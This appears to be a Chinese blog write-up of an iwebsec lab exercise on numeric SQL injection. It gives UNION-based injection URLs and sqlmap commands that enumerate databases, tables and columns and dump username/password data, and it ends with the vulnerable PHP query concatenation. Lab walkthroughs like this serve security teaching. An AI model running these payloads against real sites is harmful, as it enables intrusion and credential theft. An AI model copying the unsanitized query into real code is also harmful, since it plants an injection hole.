iwebsec-sql注入 01 数字型注入

发布时间 2023-08-18 17:59:20作者: 别打扰我摸鱼

01、题目分析

数字型注入的sql语句

select * from news where id=$id;

最最最常规的,直接注入

02、手工注入:

先判断有多少列

http://www.bdrwmy.cn:8001/sqli/01.php?id=1 order by 3
-- id=-1就是不显示内容
http://www.bdrwmy.cn:8001/sqli/01.php?id=-1 union select 1,2,3

image

知道有多少列了,接下来判断数据库

http://www.bdrwmy.cn:8001/sqli/01.php?id=-1 union select 1,2,database()

image

知道数据库名称了,接下来就可以爆表

http://www.bdrwmy.cn:8001/sqli/01.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec'

image

爆列

http://www.bdrwmy.cn:8001/sqli/01.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='sqli'

image

爆数据

http://www.bdrwmy.cn:8001/sqli/01.php?id=-1 union select 1,2,group_concat(concat_ws('~',username,password)) from iwebsec.sqli

image

收工

03、sqlmap工具注入:

判断能否注入:

 python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/01.php?id=1"

image

能注入,暴库

 python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/01.php?id=1"  --dbs

image

暴表

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/01.php?id=1"  --tables  -D iwebsec

image

暴字段

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/01.php?id=1"  -T sqli  -D iwebsec  --columns

image

暴数据

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/01.php?id=1"  -T sqli  -D iwebsec  -C "username,password" --dump

image

04、代码分析

<?php
  if(isset($_GET['id'])){
    $id=$_GET['id'];
	
	$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
    # 这就是最简单的sql语句拼接,输入值会进入到id中,因此可以实现sql注入
		$result=mysql_query($sql);
	}
  else{
	exit();
  }
?>